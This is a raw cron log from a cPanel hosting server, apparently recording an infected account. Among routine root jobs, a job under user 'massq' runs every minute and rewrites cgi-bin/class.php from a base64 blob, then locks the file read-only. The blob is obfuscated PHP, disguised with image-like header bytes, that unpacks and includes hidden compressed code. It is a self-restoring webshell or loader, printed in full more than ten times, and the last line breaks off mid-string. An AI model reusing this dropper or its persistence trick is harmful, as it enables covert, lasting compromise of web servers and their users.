Sep  3 16:05:01 server CROND[2898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:05:01 server CROND[2906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:05:01 server CROND[2910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:05:01 server CROND[2913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:05:01 server CROND[2908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:05:01 server CROND[2904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:05:01 server CROND[2909]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:06:01 server CROND[3736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:06:01 server CROND[3737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:06:01 server CROND[3738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:07:01 server CROND[4115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:07:01 server CROND[4116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:07:01 server CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:08:01 server CROND[4491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:08:01 server CROND[4493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:08:01 server CROND[4494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:09:01 server CROND[4984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:09:01 server CROND[4983]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 16:09:01 server CROND[4986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:09:01 server CROND[4985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:10:01 server CROND[5387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:10:01 server CROND[5390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:10:01 server CROND[5391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:10:01 server CROND[5395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:10:01 server CROND[5398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:10:01 server CROND[5399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:10:01 server CROND[5400]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:10:01 server CROND[5397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:11:01 server CROND[6290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:11:01 server CROND[6291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:11:01 server CROND[6292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:12:01 server CROND[6827]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:12:01 server CROND[6829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:12:01 server CROND[6828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:12:01 server CROND[6831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:13:01 server CROND[7251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:13:01 server CROND[7252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:13:01 server CROND[7253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:14:01 server CROND[7718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:14:01 server CROND[7719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:14:01 server CROND[7720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:15:01 server CROND[8108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:15:01 server CROND[8112]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 16:15:01 server CROND[8116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:15:01 server CROND[8117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:15:01 server CROND[8118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:15:01 server CROND[8123]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 16:15:01 server CROND[8130]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:15:01 server CROND[8122]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:15:01 server CROND[8131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:16:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/csf-cron)
Sep  3 16:16:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/lfd-cron)
Sep  3 16:16:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  3 16:16:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  3 16:16:01 server CROND[9389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:16:01 server CROND[9390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:16:01 server CROND[9391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KC